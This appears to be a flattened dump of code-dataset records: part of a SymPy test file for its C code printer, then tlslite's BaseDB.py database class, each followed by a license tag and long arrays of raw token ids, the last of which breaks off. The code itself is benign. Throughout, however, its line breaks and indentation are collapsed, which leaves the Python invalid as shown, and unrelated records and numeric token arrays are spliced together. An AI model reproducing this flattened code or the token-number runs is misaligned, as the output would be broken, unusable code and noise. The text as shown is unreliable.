assert ccode(Abs(x)) == "fabs(x)" assert ccode(gamma(x)) == "tgamma(x)" def test_ccode_user_functions(): x = symbols('x', integer=False) n = symbols('n', integer=True) custom_functions = { "ceiling": "ceil", "Abs": [(lambda x: not x.is_integer, "fabs"), (lambda x: x.is_integer, "abs")], } assert ccode(ceiling(x), user_functions=custom_functions) == "ceil(x)" assert ccode(Abs(x), user_functions=custom_functions) == "fabs(x)" assert ccode(Abs(n), user_functions=custom_functions) == "abs(n)" def test_ccode_boolean(): assert ccode(x & y) == "x && y" assert ccode(x | y) == "x || y" assert ccode(~x) == "!x" assert ccode(x & y & z) == "x && y && z" assert ccode(x | y | z) == "x || y || z" assert ccode((x & y) | z) == "z || x && y" assert ccode((x | y) & z) == "z && (x || y)" def test_ccode_Piecewise(): expr = Piecewise((x, x < 1), (x**2, True)) assert ccode(expr) == ( "((x < 1) ? (\n" " x\n" ")\n" ": (\n" " pow(x, 2)\n" "))") assert ccode(expr, assign_to="c") == ( "if (x < 1) {\n" " c = x;\n" "}\n" "else {\n" " c = pow(x, 2);\n" "}") expr = Piecewise((x, x < 1), (x + 1, x < 2), (x**2, True)) assert ccode(expr) == ( "((x < 1) ? (\n" " x\n" ")\n" ": ((x < 2) ? (\n" " x + 1\n" ")\n" ": (\n" " pow(x, 2)\n" ")))") assert ccode(expr, assign_to='c') == ( "if (x < 1) {\n" " c = x;\n" "}\n" "else if (x < 2) {\n" " c = x + 1;\n" "}\n" "else {\n" " c = pow(x, 2);\n" "}") # Check that Piecewise without a True (default) condition error expr = Piecewise((x, x < 1), (x**2, x > 1), (sin(x), x > 0)) raises(ValueError, lambda: ccode(expr)) def test_ccode_Piecewise_deep(): p = ccode(2*Piecewise((x, x < 1), (x + 1, x < 2), (x**2, True))) assert p == ( "2*((x < 1) ? (\n" " x\n" ")\n" ": ((x < 2) ? (\n" " x + 1\n" ")\n" ": (\n" " pow(x, 2)\n" ")))") expr = x*y*z + x**2 + y**2 + Piecewise((0, x < 0.5), (1, True)) + cos(z) - 1 assert ccode(expr) == ( "pow(x, 2) + x*y*z + pow(y, 2) + ((x < 0.5) ? (\n" " 0\n" ")\n" ": (\n" " 1\n" ")) + cos(z) - 1") assert ccode(expr, assign_to='c') == ( "c = pow(x, 2) + x*y*z + pow(y, 2) + ((x < 0.5) ? (\n" " 0\n" ")\n" ": (\n" " 1\n" ")) + cos(z) - 1;") def test_ccode_settings(): raises(TypeError, lambda: ccode(sin(x), method="garbage")) def test_ccode_Indexed(): from sympy.tensor import IndexedBase, Idx from sympy import symbols n, m, o = symbols('n m o', integer=True) i, j, k = Idx('i', n), Idx('j', m), Idx('k', o) p = CCodePrinter() p._not_c = set() x = IndexedBase('x')[j] assert p._print_Indexed(x) == 'x[j]' A = IndexedBase('A')[i, j] assert p._print_Indexed(A) == 'A[%s]' % (m*i+j) B = IndexedBase('B')[i, j, k] assert p._print_Indexed(B) == 'B[%s]' % (i*o*m+j*o+k) assert p._not_c == set() def test_ccode_Indexed_without_looking_for_contraction(): len_y = 5 y = IndexedBase('y', shape=(len_y,)) x = IndexedBase('x', shape=(len_y,)) Dy = IndexedBase('Dy', shape=(len_y-1,)) i = Idx('i', len_y-1) e=Eq(Dy[i], (y[i+1]-y[i])/(x[i+1]-x[i])) code0 = ccode(e.rhs, assign_to=e.lhs, contract=False) assert code0 == 'Dy[i] = (y[%s] - y[i])/(x[%s] - x[i]);' % (i + 1, i + 1) def test_ccode_loops_matrix_vector(): n, m = symbols('n m', integer=True) A = IndexedBase('A') x = IndexedBase('x') y = IndexedBase('y') i = Idx('i', m) j = Idx('j', n) s = ( 'for (int i=0; i<m; i++){\n' ' y[i] = 0;\n' '}\n' 'for (int i=0; i<m; i++){\n' ' for (int j=0; j<n; j++){\n' ' y[i] = x[j]*A[%s] + y[i];\n' % (i*n + j) +\ ' }\n' '}' ) c = ccode(A[i, j]*x[j], assign_to=y[i]) assert c == s def test_dummy_loops(): i, m = symbols('i m', integer=True, cls=Dummy) x = IndexedBase('x') y = IndexedBase('y') i = Idx(i, m) expected = ( 'for (int i_%(icount)i=0; i_%(icount)i<m_%(mcount)i; i_%(icount)i++){\n' ' y[i_%(icount)i] = x[i_%(icount)i];\n' '}' ) % {'icount': i.label.dummy_index, 'mcount': m.dummy_index} code = ccode(x[i], assign_to=y[i]) assert code == expected def test_ccode_loops_add(): from sympy.tensor import IndexedBase, Idx from sympy import symbols n, m = symbols('n m', integer=True) A = IndexedBase('A') x = IndexedBase('x') y = IndexedBase('y') z = IndexedBase('z') i = Idx('i', m) j = Idx('j', n) s = ( 'for (int i=0; i<m; i++){\n' ' y[i] = x[i] + z[i];\n' '}\n' 'for (int i=0; i<m; i++){\n' ' for (int j=0; j<n; j++){\n' ' y[i] = x[j]*A[%s] + y[i];\n' % (i*n + j) +\ ' }\n' '}' ) c = ccode(A[i, j]*x[j] + x[i] + z[i], assign_to=y[i]) assert c == s def test_ccode_loops_multiple_contractions(): from sympy.tensor import IndexedBase, Idx from sympy import symbols n, m, o, p = symbols('n m o p', integer=True) a = IndexedBase('a') b = IndexedBase('b') y = IndexedBase('y') i = Idx('i', m) j = Idx('j', n) k = Idx('k', o) l = Idx('l', p) s = ( 'for (int i=0; i<m; i++){\n' ' y[i] = 0;\n' '}\n' 'for (int i=0; i<m; i++){\n' ' for (int j=0; j<n; j++){\n' ' for (int k=0; k<o; k++){\n' ' for (int l=0; l<p; l++){\n' ' y[i] = y[i] + b[%s]*a[%s];\n' % (j*o*p + k*p + l, i*n*o*p + j*o*p + k*p + l) +\ ' }\n' ' }\n' ' }\n' '}' ) c = ccode(b[j, k, l]*a[i, j, k, l], assign_to=y[i]) assert c == s def test_ccode_loops_addfactor(): from sympy.tensor import IndexedBase, Idx from sympy import symbols n, m, o, p = symbols('n m o p', integer=True) a = IndexedBase('a') b = IndexedBase('b') c = IndexedBase('c') y = IndexedBase('y') i = Idx('i', m) j = Idx('j', n) k = Idx('k', o) l = Idx('l', p) s = ( 'for (int i=0; i<m; i++){\n' ' y[i] = 0;\n' '}\n' 'for (int i=0; i<m; i++){\n' ' for (int j=0; j<n; j++){\n' ' for (int k=0; k<o; k++){\n' ' for (int l=0; l<p; l++){\n' ' y[i] = (a[%s] + b[%s])*c[%s] + y[i];\n' % (i*n*o*p + j*o*p + k*p + l, i*n*o*p + j*o*p + k*p + l, j*o*p + k*p + l) +\ ' }\n' ' }\n' ' }\n' '}' ) c = ccode((a[i, j, k, l] + b[i, j, k, l])*c[j, k, l], assign_to=y[i]) assert c == s def test_ccode_loops_multiple_terms(): from sympy.tensor import IndexedBase, Idx from sympy import symbols n, m, o, p = symbols('n m o p', integer=True) a = IndexedBase('a') b = IndexedBase('b') c = IndexedBase('c') y = IndexedBase('y') i = Idx('i', m) j = Idx('j', n) k = Idx('k', o) s0 = ( 'for (int i=0; i<m; i++){\n' ' y[i] = 0;\n' '}\n' ) s1 = ( 'for (int i=0; i<m; i++){\n' ' for (int j=0; j<n; j++){\n' ' for (int k=0; k<o; k++){\n' ' y[i] = b[j]*b[k]*c[%s] + y[i];\n' % (i*n*o + j*o + k) +\ ' }\n' ' }\n' '}\n' ) s2 = ( 'for (int i=0; i<m; i++){\n' ' for (int k=0; k<o; k++){\n' ' y[i] = b[k]*a[%s] + y[i];\n' % (i*o + k) +\ ' }\n' '}\n' ) s3 = ( 'for (int i=0; i<m; i++){\n' ' for (int j=0; j<n; j++){\n' ' y[i] = b[j]*a[%s] + y[i];\n' % (i*n + j) +\ ' }\n' '}\n' ) c = ccode( b[j]*a[i, j] + b[k]*a[i, k] + b[j]*b[k]*c[i, j, k], assign_to=y[i]) assert (c == s0 + s1 + s2 + s3[:-1] or c == s0 + s1 + s3 + s2[:-1] or c == s0 + s2 + s1 + s3[:-1] or c == s0 + s2 + s3 + s1[:-1] or c == s0 + s3 + s1 + s2[:-1] or c == s0 + s3 + s2 + s1[:-1]) def test_dereference_printing(): expr = x + y + sin(z) + z assert ccode(expr, dereference=[z]) == "x + y + (*z) + sin((*z))" def test_Matrix_printing(): # Test returning a Matrix mat = Matrix([x*y, Piecewise((2 + x, y>0), (y, True)), sin(z)]) A = MatrixSymbol('A', 3, 1) assert ccode(mat, A) == ( "A[0] = x*y;\n" "if (y > 0) {\n" " A[1] = x + 2;\n" "}\n" "else {\n" " A[1] = y;\n" "}\n" "A[2] = sin(z);") # Test using MatrixElements in expressions expr = Piecewise((2*A[2, 0], x > 0), (A[2, 0], True)) + sin(A[1, 0]) + A[0, 0] assert ccode(expr) == ( "((x > 0) ? (\n" " 2*A[2]\n" ")\n" ": (\n" " A[2]\n" ")) + sin(A[1]) + A[0]") # Test using MatrixElements in a Matrix q = MatrixSymbol('q', 5, 1) M = MatrixSymbol('M', 3, 3) m = Matrix([[sin(q[1,0]), 0, cos(q[2,0])], [q[1,0] + q[2,0], q[3, 0], 5], [2*q[4, 0]/q[1,0], sqrt(q[0,0]) + 4, 0]]) assert ccode(m, M) == ( "M[0] = sin(q[1]);\n" "M[1] = 0;\n" "M[2] = cos(q[2]);\n" "M[3] = q[1] + q[2];\n" "M[4] = q[3];\n" "M[5] = 5;\n" "M[6] = 2*q[4]*1.0/q[1];\n" "M[7] = 4 + sqrt(q[0]);\n" "M[8] = 0;") def test_ccode_reserved_words(): x, y = symbols('x, if') assert ccode(y**2) == 'pow(if_, 2)' assert ccode(x * y**2, dereference=[y]) == 'pow((*if_), 2)*x' expected = 'pow(if_unreserved, 2)' assert ccode(y**2, reserved_word_suffix='_unreserved') == expected with raises(ValueError): ccode(y**2, error_on_reserved=True) def test_ccode_sign(): expr = sign(x) * y assert ccode(expr) == 'y*(((x) > 0) - ((x) < 0))' assert ccode(expr, 'z') == 'z = y*(((x) > 0) - ((x) < 0));' assert ccode(sign(2 * x + x**2) * x + x**2) == \ 'pow(x, 2) + x*(((pow(x, 2) + 2*x) > 0) - ((pow(x, 2) + 2*x) < 0))' expr = sign(cos(x)) assert ccode(expr) == '(((cos(x)) > 0) - ((cos(x)) < 0))'
bsd-3-clause
[ 504, 5840, 14, 1018, 492, 334, 1038, 12, 16390, 12, 6698, 12, 20164, 12, 7225, 12, 717, 598, 11121, 13971, 12, 662, 19345, 15091, 12, 445, 7539, 290, 12, 28650, 12, 9762, 12, 21779, 9, 199, 504, 5840, 14, 5777, 492, 334, 48, 27013, 12, 9829, 12, 9794, 12, 20319, 12, 1437, 12, 10142, 5662, 12, 7452, 12, 2490, 10169, 12, 2070, 9, 199, 504, 5840, 14, 16355, 14, 4462, 492, 6534, 199, 504, 5840, 14, 26514, 14, 67, 600, 492, 445, 3034, 14131, 199, 504, 5840, 14, 16355, 14, 416, 887, 29552, 492, 6366, 63, 1593, 199, 504, 5840, 14, 3128, 492, 26437, 1563, 12, 473, 8373, 199, 504, 5840, 14, 19032, 492, 8449, 12, 8449, 8169, 199, 199, 504, 5840, 492, 286, 600, 199, 199, 88, 12, 612, 12, 1315, 275, 6698, 360, 88, 12, 89, 12, 90, 358, 421, 199, 318, 511, 63, 1361, 765, 837, 272, 1021, 289, 2101, 8, 15447, 304, 267, 347, 485, 67, 600, 8, 277, 12, 16639, 304, 288, 372, 298, 70, 2101, 4042, 83, 2924, 450, 16639, 423, 1361, 8, 277, 14, 589, 59, 16, 566, 272, 702, 286, 600, 8, 70, 2101, 8, 88, 430, 508, 298, 70, 2101, 8, 88, 2924, 421, 199, 318, 511, 63, 67, 600, 63, 5079, 837, 272, 702, 286, 600, 8, 5079, 8, 88, 430, 508, 298, 5079, 8, 88, 2924, 272, 702, 286, 600, 8, 88, 538, 16, 14, 21, 9, 508, 298, 5079, 8, 88, 2924, 272, 702, 286, 600, 8, 5079, 8, 88, 430, 508, 298, 5079, 8, 88, 2924, 421, 199, 318, 511, 63, 67, 600, 63, 23432, 837, 272, 702, 286, 600, 8, 88, 538, 19, 9, 508, 298, 8278, 8, 88, 12, 650, 2924, 272, 702, 286, 600, 8, 88, 14192, 89, 538, 19, 430, 508, 298, 8278, 8, 88, 12, 13131, 8, 89, 12, 650, 430, 2, 272, 486, 275, 6366, 63, 1593, 360, 71, 297, 28650, 8, 88, 12, 499, 10, 88, 430, 272, 702, 286, 600, 8, 17, 7985, 71, 8, 88, 3342, 19, 14, 21, 25288, 88, 446, 612, 538, 88, 15136, 88, 538, 18, 435, 612, 430, 508, 971, 267, 298, 8278, 8, 19, 14, 21, 10, 18, 10, 88, 12, 446, 88, 435, 13131, 8, 89, 12, 671, 430, 7985, 8278, 8, 88, 12, 499, 9, 435, 612, 2924, 272, 702, 286, 600, 8, 88, 25376, 17, 14, 16, 9, 508, 283, 17, 14, 16, 15, 88, 7, 272, 702, 286, 600, 8, 88, 538, 20248, 8, 18, 12, 650, 430, 508, 283, 8278, 8, 88, 12, 499, 14, 16, 44, 15, 19, 14, 16, 44, 3171, 272, 485, 2067, 63, 67, 1532, 275, 3842, 2734, 1300, 12, 1437, 26, 1437, 14, 374, 63, 4115, 12, 298, 68, 8278, 73, 1288, 673, 334, 2734, 1300, 12, 1437, 26, 440, 1437, 14, 374, 63, 4115, 12, 298, 8278, 11323, 272, 702, 286, 600, 8, 88, 538, 19, 12, 922, 63, 5777, 3713, 23432, 356, 485, 2067, 63, 67, 1532, 1552, 508, 283, 68, 8278, 73, 8, 88, 12, 650, 3171, 272, 702, 286, 600, 8, 88, 538, 19, 14, 18, 12, 922, 63, 5777, 3713, 23432, 356, 485, 2067, 63, 67, 1532, 1552, 508, 283, 8278, 8, 88, 12, 650, 14, 18, 3171, 421, 199, 318, 511, 63, 67, 600, 63, 5559, 63, 3442, 72, 837, 272, 702, 286, 600, 8, 1474, 8, 17, 430, 508, 298, 45, 63, 37, 2, 272, 702, 286, 600, 8, 1038, 9, 508, 298, 45, 63, 2252, 2, 272, 702, 286, 600, 8, 1534, 9, 508, 298, 28327, 4962, 63, 3204, 2, 272, 702, 286, 600, 2801, 1534, 9, 508, 3905, 28327, 4962, 63, 3204, 2, 421, 199, 318, 511, 63, 67, 600, 63, 5559, 63, 1848, 837, 272, 702, 286, 600, 8, 18, 10, 39, 11121, 13971, 9, 508, 298, 3157, 950, 598, 11121, 13971, 275, 413, 14, 22, 7663, 11870, 1299, 15971, 1407, 3779, 78, 18, 10, 39, 11121, 13971, 2, 272, 702, 286, 600, 8, 267, 499, 10, 35, 7539, 290, 9, 508, 298, 3157, 950, 445, 7539, 290, 275, 378, 14, 32532, 28338, 2635, 8881, 8867, 3779, 78, 18, 10, 35, 7539, 290, 2, 272, 702, 286, 600, 8, 18, 10, 37, 19345, 15091, 9, 508, 298, 3157, 950, 662, 19345, 15091, 275, 378, 14, 13539, 7842, 22, 11228, 11164, 1153, 3779, 78, 18, 10, 37, 19345, 15091, 2, 421, 199, 318, 511, 63, 67, 600, 63, 20248, 837, 272, 702, 286, 600, 8, 20248, 8, 19, 12, 1520, 430, 508, 298, 19, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 20248, 8, 1085, 12, 1749, 430, 508, 298, 18, 2, 272, 702, 286, 600, 8, 20248, 8, 19, 12, 446, 23, 430, 508, 3905, 19, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 20248, 2801, 19, 12, 446, 23, 430, 508, 298, 19, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 88, 435, 20164, 8, 19, 12, 1520, 430, 508, 298, 88, 435, 650, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 20248, 8, 19, 12, 1520, 3342, 88, 9, 508, 7340, 19, 14, 16, 44, 15, 23, 14, 16, 44, 3342, 88, 2, 421, 199, 318, 511, 63, 67, 600, 63, 2674, 837, 272, 702, 286, 600, 8, 2674, 8, 1822, 430, 508, 298, 1822, 2, 272, 702, 286, 600, 8, 2674, 2801, 17, 430, 508, 3905, 17, 2, 421, 199, 318, 511, 63, 67, 600, 63, 5777, 837, 272, 702, 286, 600, 8, 5911, 8, 88, 9, 1011, 9794, 8, 88, 430, 508, 298, 8278, 8, 5911, 8, 88, 395, 9794, 8, 88, 430, 2, 421, 199, 318, 511, 63, 67, 600, 63, 6460, 63, 1593, 837, 272, 671, 275, 6698, 360, 88, 358, 272, 486, 275, 6366, 63, 1593, 360, 71, 297, 28650, 8, 88, 12, 499, 10, 88, 430, 272, 702, 286, 600, 8, 71, 8, 88, 430, 508, 298, 18, 10, 88, 2, 272, 486, 275, 6366, 63, 1593, 360, 71, 297, 28650, 8, 88, 12, 499, 10, 88, 15, 35, 7539, 290, 430, 272, 702, 286 ]
[ 5840, 14, 1018, 492, 334, 1038, 12, 16390, 12, 6698, 12, 20164, 12, 7225, 12, 717, 598, 11121, 13971, 12, 662, 19345, 15091, 12, 445, 7539, 290, 12, 28650, 12, 9762, 12, 21779, 9, 199, 504, 5840, 14, 5777, 492, 334, 48, 27013, 12, 9829, 12, 9794, 12, 20319, 12, 1437, 12, 10142, 5662, 12, 7452, 12, 2490, 10169, 12, 2070, 9, 199, 504, 5840, 14, 16355, 14, 4462, 492, 6534, 199, 504, 5840, 14, 26514, 14, 67, 600, 492, 445, 3034, 14131, 199, 504, 5840, 14, 16355, 14, 416, 887, 29552, 492, 6366, 63, 1593, 199, 504, 5840, 14, 3128, 492, 26437, 1563, 12, 473, 8373, 199, 504, 5840, 14, 19032, 492, 8449, 12, 8449, 8169, 199, 199, 504, 5840, 492, 286, 600, 199, 199, 88, 12, 612, 12, 1315, 275, 6698, 360, 88, 12, 89, 12, 90, 358, 421, 199, 318, 511, 63, 1361, 765, 837, 272, 1021, 289, 2101, 8, 15447, 304, 267, 347, 485, 67, 600, 8, 277, 12, 16639, 304, 288, 372, 298, 70, 2101, 4042, 83, 2924, 450, 16639, 423, 1361, 8, 277, 14, 589, 59, 16, 566, 272, 702, 286, 600, 8, 70, 2101, 8, 88, 430, 508, 298, 70, 2101, 8, 88, 2924, 421, 199, 318, 511, 63, 67, 600, 63, 5079, 837, 272, 702, 286, 600, 8, 5079, 8, 88, 430, 508, 298, 5079, 8, 88, 2924, 272, 702, 286, 600, 8, 88, 538, 16, 14, 21, 9, 508, 298, 5079, 8, 88, 2924, 272, 702, 286, 600, 8, 5079, 8, 88, 430, 508, 298, 5079, 8, 88, 2924, 421, 199, 318, 511, 63, 67, 600, 63, 23432, 837, 272, 702, 286, 600, 8, 88, 538, 19, 9, 508, 298, 8278, 8, 88, 12, 650, 2924, 272, 702, 286, 600, 8, 88, 14192, 89, 538, 19, 430, 508, 298, 8278, 8, 88, 12, 13131, 8, 89, 12, 650, 430, 2, 272, 486, 275, 6366, 63, 1593, 360, 71, 297, 28650, 8, 88, 12, 499, 10, 88, 430, 272, 702, 286, 600, 8, 17, 7985, 71, 8, 88, 3342, 19, 14, 21, 25288, 88, 446, 612, 538, 88, 15136, 88, 538, 18, 435, 612, 430, 508, 971, 267, 298, 8278, 8, 19, 14, 21, 10, 18, 10, 88, 12, 446, 88, 435, 13131, 8, 89, 12, 671, 430, 7985, 8278, 8, 88, 12, 499, 9, 435, 612, 2924, 272, 702, 286, 600, 8, 88, 25376, 17, 14, 16, 9, 508, 283, 17, 14, 16, 15, 88, 7, 272, 702, 286, 600, 8, 88, 538, 20248, 8, 18, 12, 650, 430, 508, 283, 8278, 8, 88, 12, 499, 14, 16, 44, 15, 19, 14, 16, 44, 3171, 272, 485, 2067, 63, 67, 1532, 275, 3842, 2734, 1300, 12, 1437, 26, 1437, 14, 374, 63, 4115, 12, 298, 68, 8278, 73, 1288, 673, 334, 2734, 1300, 12, 1437, 26, 440, 1437, 14, 374, 63, 4115, 12, 298, 8278, 11323, 272, 702, 286, 600, 8, 88, 538, 19, 12, 922, 63, 5777, 3713, 23432, 356, 485, 2067, 63, 67, 1532, 1552, 508, 283, 68, 8278, 73, 8, 88, 12, 650, 3171, 272, 702, 286, 600, 8, 88, 538, 19, 14, 18, 12, 922, 63, 5777, 3713, 23432, 356, 485, 2067, 63, 67, 1532, 1552, 508, 283, 8278, 8, 88, 12, 650, 14, 18, 3171, 421, 199, 318, 511, 63, 67, 600, 63, 5559, 63, 3442, 72, 837, 272, 702, 286, 600, 8, 1474, 8, 17, 430, 508, 298, 45, 63, 37, 2, 272, 702, 286, 600, 8, 1038, 9, 508, 298, 45, 63, 2252, 2, 272, 702, 286, 600, 8, 1534, 9, 508, 298, 28327, 4962, 63, 3204, 2, 272, 702, 286, 600, 2801, 1534, 9, 508, 3905, 28327, 4962, 63, 3204, 2, 421, 199, 318, 511, 63, 67, 600, 63, 5559, 63, 1848, 837, 272, 702, 286, 600, 8, 18, 10, 39, 11121, 13971, 9, 508, 298, 3157, 950, 598, 11121, 13971, 275, 413, 14, 22, 7663, 11870, 1299, 15971, 1407, 3779, 78, 18, 10, 39, 11121, 13971, 2, 272, 702, 286, 600, 8, 267, 499, 10, 35, 7539, 290, 9, 508, 298, 3157, 950, 445, 7539, 290, 275, 378, 14, 32532, 28338, 2635, 8881, 8867, 3779, 78, 18, 10, 35, 7539, 290, 2, 272, 702, 286, 600, 8, 18, 10, 37, 19345, 15091, 9, 508, 298, 3157, 950, 662, 19345, 15091, 275, 378, 14, 13539, 7842, 22, 11228, 11164, 1153, 3779, 78, 18, 10, 37, 19345, 15091, 2, 421, 199, 318, 511, 63, 67, 600, 63, 20248, 837, 272, 702, 286, 600, 8, 20248, 8, 19, 12, 1520, 430, 508, 298, 19, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 20248, 8, 1085, 12, 1749, 430, 508, 298, 18, 2, 272, 702, 286, 600, 8, 20248, 8, 19, 12, 446, 23, 430, 508, 3905, 19, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 20248, 2801, 19, 12, 446, 23, 430, 508, 298, 19, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 88, 435, 20164, 8, 19, 12, 1520, 430, 508, 298, 88, 435, 650, 14, 16, 44, 15, 23, 14, 16, 44, 2, 272, 702, 286, 600, 8, 20248, 8, 19, 12, 1520, 3342, 88, 9, 508, 7340, 19, 14, 16, 44, 15, 23, 14, 16, 44, 3342, 88, 2, 421, 199, 318, 511, 63, 67, 600, 63, 2674, 837, 272, 702, 286, 600, 8, 2674, 8, 1822, 430, 508, 298, 1822, 2, 272, 702, 286, 600, 8, 2674, 2801, 17, 430, 508, 3905, 17, 2, 421, 199, 318, 511, 63, 67, 600, 63, 5777, 837, 272, 702, 286, 600, 8, 5911, 8, 88, 9, 1011, 9794, 8, 88, 430, 508, 298, 8278, 8, 5911, 8, 88, 395, 9794, 8, 88, 430, 2, 421, 199, 318, 511, 63, 67, 600, 63, 6460, 63, 1593, 837, 272, 671, 275, 6698, 360, 88, 358, 272, 486, 275, 6366, 63, 1593, 360, 71, 297, 28650, 8, 88, 12, 499, 10, 88, 430, 272, 702, 286, 600, 8, 71, 8, 88, 430, 508, 298, 18, 10, 88, 2, 272, 486, 275, 6366, 63, 1593, 360, 71, 297, 28650, 8, 88, 12, 499, 10, 88, 15, 35, 7539, 290, 430, 272, 702, 286, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pforret/python-for-android
python-build/python-libs/gdata/src/gdata/tlslite/BaseDB.py
238
3508
"""Base class for SharedKeyDB and VerifierDB.""" import anydbm import thread class BaseDB: def __init__(self, filename, type): self.type = type self.filename = filename if self.filename: self.db = None else: self.db = {} self.lock = thread.allocate_lock() def create(self): """Create a new on-disk database. @raise anydbm.error: If there's a problem creating the database. """ if self.filename: self.db = anydbm.open(self.filename, "n") #raises anydbm.error self.db["--Reserved--type"] = self.type self.db.sync() else: self.db = {} def open(self): """Open a pre-existing on-disk database. @raise anydbm.error: If there's a problem opening the database. @raise ValueError: If the database is not of the right type. """ if not self.filename: raise ValueError("Can only open on-disk databases") self.db = anydbm.open(self.filename, "w") #raises anydbm.error try: if self.db["--Reserved--type"] != self.type: raise ValueError("Not a %s database" % self.type) except KeyError: raise ValueError("Not a recognized database") def __getitem__(self, username): if self.db == None: raise AssertionError("DB not open") self.lock.acquire() try: valueStr = self.db[username] finally: self.lock.release() return self._getItem(username, valueStr) def __setitem__(self, username, value): if self.db == None: raise AssertionError("DB not open") valueStr = self._setItem(username, value) self.lock.acquire() try: self.db[username] = valueStr if self.filename: self.db.sync() finally: self.lock.release() def __delitem__(self, username): if self.db == None: raise AssertionError("DB not open") self.lock.acquire() try: del(self.db[username]) if self.filename: self.db.sync() finally: self.lock.release() def __contains__(self, username): """Check if the database contains the specified username. @type username: str @param username: The username to check for. @rtype: bool @return: True if the database contains the username, False otherwise. """ if self.db == None: raise AssertionError("DB not open") self.lock.acquire() try: return self.db.has_key(username) finally: self.lock.release() def check(self, username, param): value = self.__getitem__(username) return self._checkItem(value, username, param) def keys(self): """Return a list of usernames in the database. @rtype: list @return: The usernames in the database. """ if self.db == None: raise AssertionError("DB not open") self.lock.acquire() try: usernames = self.db.keys() finally: self.lock.release() usernames = [u for u in usernames if not u.startswith("--Reserved--")] return usernames
apache-2.0
[ 624, 1563, 1021, 367, 23752, 1197, 2846, 436, 5444, 9893, 2846, 1041, 2999, 199, 646, 1263, 20666, 202, 199, 646, 2462, 2999, 199, 533, 3523, 2846, 26, 1128, 347, 636, 826, 721, 277, 12, 1788, 12, 730, 304, 1039, 291, 14, 466, 275, 730, 1039, 291, 14, 1501, 275, 1788, 1039, 340, 291, 14, 1501, 26, 1675, 291, 14, 697, 275, 488, 1039, 587, 26, 1675, 291, 14, 697, 275, 1052, 1039, 291, 14, 831, 275, 2462, 14, 12991, 63, 831, 342, 2958, 347, 1218, 8, 277, 304, 1039, 408, 2499, 282, 892, 641, 13, 4032, 3050, 14, 4341, 768, 3730, 1263, 20666, 14, 705, 26, 982, 2337, 1159, 282, 5160, 6425, 314, 3050, 14, 1039, 408, 1039, 340, 291, 14, 1501, 26, 1675, 291, 14, 697, 275, 1263, 20666, 14, 1490, 8, 277, 14, 1501, 12, 298, 78, 531, 327, 3536, 1263, 20666, 14, 705, 1675, 291, 14, 697, 905, 306, 10285, 306, 466, 937, 275, 291, 14, 466, 1675, 291, 14, 697, 14, 5186, 342, 1039, 587, 26, 1675, 291, 14, 697, 275, 1052, 2958, 347, 1551, 8, 277, 304, 1039, 408, 4299, 282, 876, 13, 5952, 641, 13, 4032, 3050, 14, 4341, 768, 3730, 1263, 20666, 14, 705, 26, 982, 2337, 1159, 282, 5160, 13618, 314, 3050, 14, 1039, 768, 3730, 1722, 26, 982, 314, 3050, 365, 440, 402, 314, 2451, 730, 14, 1039, 408, 1039, 340, 440, 291, 14, 1501, 26, 1675, 746, 1722, 480, 6049, 1454, 1551, 641, 13, 4032, 16219, 531, 1039, 291, 14, 697, 275, 1263, 20666, 14, 1490, 8, 277, 14, 1501, 12, 298, 87, 531, 327, 3536, 1263, 20666, 14, 705, 1039, 862, 26, 1675, 340, 291, 14, 697, 905, 306, 10285, 306, 466, 937, 1137, 291, 14, 466, 26, 2628, 746, 1722, 480, 1763, 282, 450, 83, 3050, 2, 450, 291, 14, 466, 9, 1039, 871, 4067, 26, 1675, 746, 1722, 480, 1763, 282, 18054, 3050, 531, 2958, 347, 636, 6095, 721, 277, 12, 3434, 304, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 574, 2848, 275, 291, 14, 697, 59, 2473, 61, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 4341, 372, 291, 423, 362, 2081, 8, 2473, 12, 574, 2848, 9, 2958, 347, 636, 8617, 721, 277, 12, 3434, 12, 574, 304, 1039, 340, 291, 14, 697, 